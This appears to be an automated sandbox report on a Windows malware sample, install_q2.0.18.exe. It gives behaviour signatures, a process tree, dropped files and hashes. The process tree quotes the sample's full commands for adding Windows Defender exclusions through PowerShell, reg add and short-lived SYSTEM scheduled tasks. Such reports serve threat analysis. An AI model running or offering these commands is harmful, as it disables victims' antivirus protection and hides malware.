Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 13:14

General

  • Target
    install_q2.0.18.exe
  • Size 25.4MB
  • Sample260905-qgndgsstdt
  • SHA256 479381317a78c3cbefb977f79884b46da35a806e7f9c1c37fe115f778e64a7a4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5752
  • C:\Users\Public\XBzeh4\9aYmiU.exe
    "C:\Users\Public\XBzeh4\9aYmiU.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2636
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XBzeh4\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1368
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XBzeh4\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5624
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5628
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5376
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3112
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4868
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2332
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4240
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4752
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3420
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2928
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2436
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1244
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5668
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5692
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5560
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5660
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4876
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4420
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XBzeh4" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5060
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XBzeh4" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5656
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1352
                        • C:\Users\Public\XBzeh4\9aYmiU.exe
                          "C:\Users\Public\XBzeh4\9aYmiU.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:1536
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3228
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4524
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:964
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3196
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1204
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3864

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 284b3d2bff4a83eb4f564fd90626121b7cfc59de4edc58974dd5f622a88f8c75
                              • MD5 SHA1 SHA512 TLSH

                              9aYmiU.exe

                              • Path C:\Users\Public\XBzeh4\9aYmiU.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\XBzeh4\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 de76479677dab3fa917e568a0a1c85260b2132edf52d20354fb5ee1cc698afaa
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\XBzeh4\adoresd.dat
                              • Size 4.7MB
                              • SHA256 12af911c86f193df0aa0cb593807ad50844269d0f0fdde3f185709a9eac24f4a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\XBzeh4\msadox.tb
                              • Size 8KB
                              • SHA256 7c78b90f670ad8816daedfcf268498aa5a75f88f84e8dca5c8a99b96fb56b888
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1536-579-0x00007FFC6D9B0000-0x00007FFC6DECE000-memory.dmp

                              memory/1536-582-0x000001AAA5CC0000-0x000001AAA6547000-memory.dmp

                              memory/1536-585-0x000001AAA5CC0000-0x000001AAA6547000-memory.dmp

                              memory/1536-589-0x000001AAA5CC0000-0x000001AAA6547000-memory.dmp

                              memory/1536-593-0x00007FFC905B0000-0x00007FFC905B2000-memory.dmp

                              memory/1536-592-0x000001AAA5CC0000-0x000001AAA6547000-memory.dmp

                              memory/1536-591-0x000001AAA5CC0000-0x000001AAA6547000-memory.dmp

                              memory/1536-590-0x000001AAA5CC0000-0x000001AAA6547000-memory.dmp

                              memory/1536-584-0x00007FFC905C0000-0x00007FFC905C2000-memory.dmp

                              memory/2444-547-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-539-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-548-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-549-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-553-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-562-0x00000172B0380000-0x00000172B040A000-memory.dmp

                              memory/2444-564-0x00000172B0380000-0x00000172B040A000-memory.dmp

                              memory/2444-563-0x00000172B0380000-0x00000172B040A000-memory.dmp

                              memory/2444-561-0x00000172B0380000-0x00000172B040A000-memory.dmp

                              memory/2444-559-0x00000172AD890000-0x00000172AD8DE000-memory.dmp

                              memory/2444-566-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-568-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-569-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-534-0x00007FFC6D9B0000-0x00007FFC6DECE000-memory.dmp

                              memory/2444-533-0x00007FFC905B0000-0x00007FFC905B2000-memory.dmp

                              memory/2444-541-0x00007FFC905C0000-0x00007FFC905C2000-memory.dmp

                              memory/2444-546-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2444-542-0x00000172AFA60000-0x00000172B02E7000-memory.dmp

                              memory/2636-597-0x000001DDF8B40000-0x000001DDF8B62000-memory.dmp

                              memory/2636-600-0x000001DDF8D70000-0x000001DDF8D8E000-memory.dmp

                              memory/2636-601-0x000001DDF8D90000-0x000001DDF8E42000-memory.dmp

                              memory/2636-602-0x000001DDF8F50000-0x000001DDF8F5A000-memory.dmp

                              memory/5752-0-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/5752-528-0x00007FFC87BA0000-0x00007FFC87BB2000-memory.dmp

                              memory/5752-1-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/5752-504-0x00007FFC87BA0000-0x00007FFC87BB2000-memory.dmp

                              memory/5752-527-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/5752-2-0x0000000000570000-0x000000000057C000-memory.dmp